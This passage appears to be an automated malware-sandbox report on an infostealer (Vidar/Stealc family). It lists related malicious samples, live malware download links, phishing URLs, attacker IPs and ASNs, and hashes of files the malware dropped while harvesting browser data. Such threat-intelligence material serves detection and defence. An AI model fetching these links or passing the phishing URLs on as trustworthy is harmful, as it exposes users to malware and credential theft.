	http://www.thegulfthermale.com.tr/antai/12/3dsec.php	Get hash	malicious	Unknown	Browse	www.thegulfthermale.com.tr/antai/12/3dsec.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/MlZtCPkK/download
	https://technopro-bg.com/redirect.php?action=url&goto=mairie-espondeilhan.com&osCsid=m24rb0l158b8m36rktotvg5ti2	Get hash	malicious	HTMLPhisher	Browse	mairie-espondeilhan.com/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
exemplarou.sbs	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
bg.microsoft.map.fastly.net	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	file.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://protect2.fireeye.com/v1/url?k=31323334-50bba2bf-3132a9b3-4544474f5631-9e1721db7158d01a&q=1&e=fd99754d-b74a-4ce2-bf27-63a41e808f94&u=https%3A%2F%2Fwww.rhris.com%2FEmailEmploymentValidation.cfm%3FEmploymentRefID%3DE84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://eu.pbe.encryption.symantec.com/login.html?msgUserId=682e23d9f715c97c&enterprise=lgas&locale=en_US	Get hash	malicious	Unknown	Browse	199.232.210.172
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
fp2e7a.wpc.phicdn.net	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	192.229.221.95
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	172.67.212.190
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	104.21.90.101
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	172.67.139.158
	RFQ Ref. No CRCCRFQHAFJIHDG2-KSU001 REV.01..exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	ABH projesi_SLG6%0190%_fiyat teklif - PO240017 xlsx.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
FREE-NET-ASFREEnetEU	https://steamcommonunity.com/gift/receive	Get hash	malicious	Unknown	Browse	147.45.47.205
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	https://steamcommunrutty.com/gift/actlvation=Mor85Fhn6w4	Get hash	malicious	Unknown	Browse	147.45.47.205
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBAEBAEBFHCAKFCAKECFCAFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAFIDHIJKEHDGDGII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKECBFBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHIDGCAFCBAAAAAFHDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCAKKECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDHDGCAKJEBAKJJKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGDBGDBFIJKECBAKFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_6913a4814265af35d1c2eeb9537142ca1e6c434_05bdfb8c_01c81d05-e7fd-45f2-a953-3f26df44e844\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0235465613933505
Encrypted:	false
SSDEEP:	192:ophcBcOrofJ05RLZjem+yzuiFWZ24IO8f:qcZkfq5RLZjjzuiFWY4IO8f
MD5:	66DF3CCEA233E4B4750F2C84D120E29D
SHA1:	66B2573E27378BC280669BBD9EB2122C1135EEB1
SHA-256:	7A2913E039BCB2B1337EAF8C7EC396F5BCFF0BD8BBEECB88E430DF00BF0EF34D
SHA-512:	23B53AD65C5F76876E72D4A002FEEA12B1612602B2BC9EB79193E5DCA6AE8085BC8686B08E742C8D6BE8E0195C439D5E290EE1F0B27E0B21A8BEA2BA65A26679
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.6.5.8.4.8.4.2.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.7.1.6.2.9.6.2.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.c.8.1.d.0.5.-.e.7.f.d.-.4.5.f.2.-.a.9.5.3.-.3.f.2.6.d.f.4.4.e.8.4.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.a.4.c.a.8.6.-.c.f.8.1.-.4.0.9.2.-.b.e.a.3.-.a.1.a.8.4.4.3.7.2.c.9.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.9.4.-.0.0.0.1.-.0.0.1.5.-.0.6.7.7.-.8.7.0.9.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.d.!.M.S.B.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_d8d3983d841f7bc8992a6bd0403237a385643319_05bdfb8c_7738099b-b168-4295-900b-67daf82a37a6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0188269615634713
Encrypted:	false
SSDEEP:	192:pPyBcOgofd0Nvw4sjem+yzuiFWZ24IO8q:AZ3feNvwpjjzuiFWY4IO8q
MD5:	D8B8FFAB98703AAA6BBB7CDE66621E4B
SHA1:	A40FFD11C791D24FA9D0B84C35EA1CEF332CDAF0
SHA-256:	C96438C2806F589CB349570938BCE8B3F12242FE8C6F294B05EF9D21DB4930F6
SHA-512:	885D88B7D8904241BCCA0E19056705A85D5F301FEEF976EE9099829AF3E53FC8C8037CADB1385AB872FB565D0E828E4A15E7083E4D3136392445CCE9ED6A13FE
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.4.6.4.2.2.2.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.5.0.9.5.3.2.9.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.7.3.8.0.9.9.b.-.b.1.6.8.-.4.2.9.5.-.9.0.0.b.-.6.7.d.a.f.8.2.a.3.7.a.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.6.f.3.7.e.f.f.-.1.6.9.4.-.4.9.7.b.-.9.6.0.b.-.1.a.e.b.5.2.0.2.1.c.8.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.9.4.-.0.0.0.1.-.0.0.1.5.-.0.6.7.7.-.8.7.0.9.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

